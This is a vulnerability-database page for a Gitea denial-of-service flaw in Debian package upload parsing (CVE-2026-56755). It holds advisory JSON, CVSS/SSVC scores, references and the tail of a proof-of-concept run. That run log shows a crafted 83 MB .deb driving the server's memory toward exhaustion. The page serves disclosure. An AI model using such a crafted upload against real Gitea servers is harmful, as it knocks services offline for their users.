(2.1s)\n  ... 31% (3.9s)\n[mem] HeapAlloc=0.07 GB  Sys=0.11 GB  TotalAlloc=0.08 GB\n  ... 47% (5.8s)\n[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB\n  ... 62% (7.4s)\n[mem] HeapAlloc=0.11 GB  Sys=0.18 GB  TotalAlloc=0.15 GB\n  ... 78% (9.0s)\n[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB\n  ... 93% (10.8s)\n  Done in 11.5s\n  control.tar.gz compressed size: 83.07 MB\n\nPayload .deb on disk: 83.07 MB  (took 11.6s)\n\n[phase 2] Calling debian_module.ParsePackage (same call as the HTTP handler)...\n          Memory will grow until the container is OOM-killed.\n[mem] HeapAlloc=0.21 GB  Sys=0.31 GB  TotalAlloc=0.29 GB\n[mem] HeapAlloc=0.41 GB  Sys=0.44 GB  TotalAlloc=0.48 GB\n[mem] HeapAlloc=0.25 GB  Sys=0.61 GB  TotalAlloc=1.63 GB\n[mem] HeapAlloc=0.63 GB  Sys=0.97 GB  TotalAlloc=2.63 GB\n[mem] HeapAlloc=0.83 GB  Sys=1.52 GB  TotalAlloc=3.80 GB\n[mem] HeapAlloc=1.39 GB  Sys=2.00 GB  TotalAlloc=5.34 GB\n[mem] HeapAlloc=1.37 GB  Sys=2.00 GB  TotalAlloc=5.86 GB\n[mem] HeapAlloc=1.42 GB  Sys=2.60 GB  TotalAlloc=6.97 GB\n[mem] HeapAlloc=1.40 GB  Sys=3.35 GB  TotalAlloc=8.26 GB\n[mem] HeapAlloc=2.25 GB  Sys=3.36 GB  TotalAlloc=9.11 GB\n[mem] HeapAlloc=1.97 GB  Sys=4.28 GB  TotalAlloc=10.48 GB\n[mem] HeapAlloc=2.73 GB  Sys=4.29 GB  TotalAlloc=11.23 GB\n[mem] HeapAlloc=2.77 GB  Sys=5.45 GB  TotalAlloc=12.67 GB\n[mem] HeapAlloc=2.90 GB  Sys=5.45 GB  TotalAlloc=13.46 GB\n[mem] HeapAlloc=3.57 GB  Sys=5.46 GB  TotalAlloc=14.13 GB\n[mem] HeapAlloc=2.94 GB  Sys=5.46 GB  TotalAlloc=16.07 GB\n[mem] HeapAlloc=3.72 GB  Sys=5.47 GB  TotalAlloc=16.85 GB\n[mem] HeapAlloc=4.50 GB  Sys=5.48 GB  TotalAlloc=17.64 GB\n[mem] HeapAlloc=5.30 GB  Sys=7.28 GB  TotalAlloc=19.58 GB\n[mem] HeapAlloc=3.82 GB  Sys=7.28 GB  TotalAlloc=20.17 GB\n[mem] HeapAlloc=4.66 GB  Sys=7.29 GB  TotalAlloc=21.01 GB\n[mem] HeapAlloc=5.33 GB  Sys=7.29 GB  TotalAlloc=21.67 GB\n[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB\n[mem] HeapAlloc=6.62 GB  Sys=9.56 GB  TotalAlloc=24.40 GB\n[mem] HeapAlloc=4.72 GB  Sys=9.56 GB  TotalAlloc=25.09 GB\n[mem] HeapAlloc=5.54 GB  Sys=9.56 GB  TotalAlloc=25.90 GB\n[mem] HeapAlloc=6.28 GB  Sys=9.57 GB  TotalAlloc=26.64 GB\n[mem] HeapAlloc=7.15 GB  Sys=9.59 GB  TotalAlloc=27.51 GB\n[mem] HeapAlloc=8.27 GB  Sys=12.40 GB  TotalAlloc=30.43 GB\n[mem] HeapAlloc=5.52 GB  Sys=12.40 GB  TotalAlloc=30.90 GB\n[mem] HeapAlloc=6.35 GB  Sys=12.40 GB  TotalAlloc=31.74 GB\n[mem] HeapAlloc=7.18 GB  Sys=12.40 GB  TotalAlloc=32.57 GB\n[mem] HeapAlloc=8.01 GB  Sys=12.41 GB  TotalAlloc=33.39 GB\n[mem] HeapAlloc=8.80 GB  Sys=12.43 GB  TotalAlloc=34.19 GB\n```",
  "id": "GHSA-6hm7-3pwj-22rm",
  "modified": "2026-07-21T20:24:09Z",
  "published": "2026-07-21T20:24:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38406"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/pull/38426"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea: Denial of Service (CPU \u0026 Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload"
}

CVE-2026-56755 (GCVE-0-2026-56755)

Vulnerability from cvelistv5 – Published: 2026-08-13 16:44 – Updated: 2026-08-13 18:38

Title

Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Summary

Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload

Severity

6.2 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-13 18:38 UTC

CWE

CWE-284

Assigner

Gitea

References

3 references

URL	Tags
https://github.com/go-gitea/gitea/security/adviso…	vendor-advisory
https://github.com/go-gitea/gitea/releases/tag/v1.27.0	release-notes
https://blog.gitea.com/gitea-1.27.0-is-released/	release-notes

Impacted products

1 product

Vendor	Product	Version
Gitea	Gitea Open Source Git Server	Affected: 0 , ≤ 1.26.4 (semver)

Credits

AdamKorcz

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 6.2,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-56755",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-13T18:38:09.639646Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-13T18:38:14.713Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Gitea Open Source Git Server",
          "vendor": "Gitea",
          "versions": [
            {
              "lessThanOrEqual": "1.26.4",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "reporter",
          "value": "AdamKorcz"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Denial of Service (CPU \u0026 Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-284",
              "description": "CWE-284",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-13T16:44:44.222Z",
        "orgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
        "shortName": "Gitea"
      },
      "references": [
        {
          "name": "GitHub Security Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm"
        },
        {
          "name": "Gitea v1.27.0 Release",
          "tags": [
            "release-notes"
          ],
          "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
        },
        {
          "name": "Gitea v1.27.0 Release Blog Post",
          "tags": [
            "release-notes"
          ],
          "url": "https://blog.gitea.com/gitea-1.27.0-is-released/"
        }
      ],
      "title": "Denial of Service (CPU \u0026 Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload",
      "x_generator": {
        "engine": "cvelib 1.8.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "88ee5874-cf24-4952-aea0-31affedb7ff2",
    "assignerShortName": "Gitea",
    "cveId": "CVE-2026-56755",
    "datePublished": "2026-08-13T16:44:44.222Z",
    "dateReserved": "2026-07-08T09:19:08.011Z",
    "dateUpdated": "2026-08-13T18:38:14.713Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted